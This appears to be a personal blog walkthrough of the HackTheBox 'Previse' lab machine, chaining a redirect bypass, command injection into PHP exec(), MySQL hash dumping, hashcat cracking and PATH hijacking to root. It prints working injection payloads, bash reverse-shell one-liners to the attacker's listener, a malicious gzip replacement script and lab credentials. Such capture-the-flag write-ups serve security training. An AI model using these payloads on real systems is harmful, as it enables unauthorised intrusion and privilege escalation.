HackTheBox – Previse Write-up

Hi everyone!

Today’s post is on Previse, an easy HackTheBox Linux machine. This machine was released on 8 August 2021. In this machine, a URL redirect status 302 is exploited to leak the actual web page without logining in, exploiting unsanitized POST data run on the server’s PHP’s exec(), extracting user password from one-liner MySQL query to get hash and that MD5Crypt hash is cracked with Hashcat to obtain the user’s password, and finally, path hijacking is used for privilege escalation. Let’s get started!

Tools required

Service discovery

└─$ IP=

└─$ nmap -A -p1-9999 $IP 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 16:23 +08
Nmap scan report for
Host is up (0.25s latency).
Not shown: 9997 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 369.28 seconds

NOTE: My machine’s IP address may be different from yours as I did this write-up when the machine is only available in the release arena.

We can see that SSH and a website are available. Let’s check out the website.

Outlook of the website

Fake main page

When we first try to access the website at, I was redirected to the login page.

Bypass status 302 redirect

If we try to use Burp Suite to intercept the response from the server (you must enable this option on your Burp Suite’s proxy tab), we will see that we were given an actual page but were redirected to the login page due to status 302.

We can manually change the HTTP response status to “200 OK” so that we will be able to view the page!

Creating an account

If we check out the ACCOUNTS option in the navigation bar and go to the Create Account page, we will be directed to accounts.php. This page will also respond with status 302. Hence we have to intercept the response and change the status to “200 OK”.

I created an account with the following credentials:

Username: soulx
Password: soulx
Confirm Password: soulx

Outlook after logging in

Head back to login.php and login with our newly created account’s credentials. We will be directed to index.php.

We can check out different pages from the navigation bar.

I tried downloading the log files but there was no useful information.

At files.php, we are able to see the backup ZIP file that contains the files of the current website we are accessing. I downloaded the ZIP file.

Vulnerability discovery and reverse shell

Found exec() vulnerability in logs.php

As we downloaded the backup ZIP file already, we have to unzip it:

└─$ unzip siteBackup.zip -d backupsitefiles    
Archive:  siteBackup.zip
  inflating: backupsitefiles/accounts.php  
  inflating: backupsitefiles/config.php  
  inflating: backupsitefiles/download.php  
  inflating: backupsitefiles/file_logs.php  
  inflating: backupsitefiles/files.php  
  inflating: backupsitefiles/footer.php  
  inflating: backupsitefiles/header.php  
  inflating: backupsitefiles/index.php  
  inflating: backupsitefiles/login.php  
  inflating: backupsitefiles/logout.php  
  inflating: backupsitefiles/logs.php  
  inflating: backupsitefiles/nav.php  
  inflating: backupsitefiles/status.php

While searching through the files, I discovered that logs.php contains a dangerous function, exec() where the argument is obtained from our client browser from the file_logs.php page.

Source code of logs.php:

if (!isset($_SESSION['user'])) {
    header('Location: login.php');

    header('Location: login.php');

//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
} else {

The vulnerability can be seen in line 19 of logs.php where no data sanitization is done on the POST data.

Test our exploit

As we know we request to logs.php is made from file_logs.php, we can send a request from that page and intercept the request with Burp Suite and change the POST data to our exploit.

Fig 5. Intercepted request to log.php

We need to add our exploit to delim POST parameter. However, we need to test if our exploit is working. If we use command such as whoami or id, I am not sure why is it not working. The output may not be seen on the browser but is actually being executed on the server. Hence we can use cURL to test it.

Change the delim parameter’s content to this:

delim=comma | curl

Remember to URL-encode the parameter’s content and also run your HTTP server. You must also change the parameter’s content to your own IP address.

└─$ python3 -m http.server
Serving HTTP on port 8000 ( ... - - [11/Aug/2021 12:15:13] "GET / HTTP/1.1" 200 -

We can see that the cURL request was indeed made from the server. Thus, it shoulds our exploit is able to work.

Obtaining a reverse shell

We are now ready to send a reverse shell to the server. Start your Netcat and listen to the port you want. I listened on port 1337.

Send another request to logs.php but this time around sends a reverse shell command exploit. Remember to URL-encode it.

delim=comma | /bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'

Your Netcat should receive an incoming connection and give you a shell:

└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 54766
bash: cannot set terminal process group (1467): Inappropriate ioctl for device
bash: no job control in this shell

Pivot to the user account and get the user flag

Checking user of interest

We can first look at the user(s) available on the server.

www-data@previse:/var/www/html$ cat /etc/passwd
cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We are interested in m41where as it should have the user flag due to it having a /home directory and starting UID of at least 1000.

Get password hash from MySQL

Remember the site backup files? We can obtain the MySQL credentials from config.php.

Source code of config.php:


function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;


If we look at login.php, we will notice that user accounts are stored in accounts table in line 30.

Source code of login.php:

if (isset($_SESSION['user'])) {
    header('Location: index.php');

<?php include( 'header.php' ); ?>
<title>Previse Login</title>
<div class="uk-container">
    <div class="uk-container uk-position-relative">
        <h1 class="uk-heading-large">Previse File Storage</h1>
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
            $password = $_POST['password'];
            if (empty(trim($username))) {
                echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
            } elseif (empty(trim($_POST['password']))) {
                echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
            } else {
                $db = connectDB();
                if ($db === false) {
                    die("ERROR: Could not connect. " . $db->connect_error);
                $sql = "SELECT * FROM accounts WHERE username = '{$username}';";
                $result = $db->query($sql);
                if ($result->num_rows != 1) {
                    echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
                } else {
                    $users = $result->fetch_assoc();
                    $passHash = $users['password'];
                    if (crypt($password, '$1$🧂llol$') == $passHash) {
                        $_SESSION['user'] = $users['username'];
                        $result = $db->query($sql);
                        if (!$result) {
                            echo 'Oops! Something went wrong, try again later!';
                        header('Location: index.php');
                    } else {
                        echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
        <form action="login.php" method="post">
            <div class="uk-margin uk-width-1-4@s">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" placeholder="Username">
            <div class="uk-margin uk-width-1-4@s">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" placeholder="Password" required>
            <button class="uk-button uk-button-default" type="submit">LOG IN</button>

<?php include( 'footer.php' ); ?>

We can obtain the content using one-liner MySQL query:

www-data@previse:/var/www/html$ mysql -u root -p --password='mySQL_p@ssw0rd!:)' -s -r -e "SELECT * FROM previse.accounts"
mysql: [Warning] Using a password on the command line interface can be insecure.
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36
2       soulx   $1$🧂llol$CSgpQlHHQ1IkXJxe5Iqwa/        2021-08-11 02:54:47

We managed to obtain m41where’s password hash.

Cracking MD5Crypt password hash

If we look at the source code of login.php at line 39, we can see it uses crypt() with a salt starting with “$y$”:

if (crypt($password, '$1$🧂llol$') == $passHash) {

Looking at PHP’s crypt()‘s documentation here, we can see using crypt() with “$y$” will result in the generation of the CRYPT_MD5 hash.

Looking at Hashcat‘s documentation here, we will know to crack the hash, we need -m 500 flag. I placed the hash inside pwhash.hash and used rockyou.txt wordlist.

Let’s crack the hash!

└─$ hashcat -m 500 pwhash.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3183/3247 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
Time.Started.....: Wed Aug 11 13:55:29 2021 (16 mins, 53 secs)
Time.Estimated...: Wed Aug 11 14:12:22 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     8352 H/s (3.66ms) @ Accel:64 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7413376/14344385 (51.68%)
Rejected.........: 0/7413376 (0.00%)
Restore.Point....: 7413248/14344385 (51.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: ilovecody98 -> ilovecloandlivey

SSH and get the user flag

Let’s exit the previous reverse shell and SSH into the server with the credentials obtained!

└─$ ssh m4lwhere@$IP
m4lwhere@'s password: ilovecody112235!
m4lwhere@previse:~$ ls
m4lwhere@previse:~$ cat user.txt 

Privilege escalation and get the root flag

Path hijacking vulnerability

As usual, let’s start with sudo -l command to see what root access our account has.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: ilovecody112235!
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Let’s check out access_backup.sh‘s source code.

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh 

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

We can see that the script will execute gzip command/file. However, the script is using it without stating its absolute path. As such, we can use path hijacking to let it run our malicious version of gzip file by modifying the $PATH environment variable.

Crafting gzip malicious file

Create a new bash script in the /tmp folder:

m4lwhere@previse:~$ nano /tmp/gzip

Input the following content. Remember to change to your own IP address and the port you want your Netcat to listen on.


bash -i >& /dev/tcp/ 0>&1

Save it and change the permission of our malicious gzip file so that it can be executed.

m4lwhere@previse:~$ chmod 777 /tmp/gzip

We can now add /tmp directory to the start of $PATH environmental variable so that our malicious gzip file will be found first instead of finding the legitimate gzip.

m4lwhere@previse:~$ export PATH="/tmp:$PATH"

Get a root reverse shell

Remember to run Netcat before you execute the access_log.sh script.

nc -lvnp 1337

You may now run the script with sudo.

m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
[sudo] password for m4lwhere: ilovecody112235!

Your Netcat should now have a root reverse shell.

└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 33588

Getting the root flag

root@previse:~# id
uid=0(root) gid=0(root) groups=0(root)
root@previse:~# cd /root
cd /root
root@previse:/root# ls
root@previse:/root# cat root.txt
cat root.txt

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.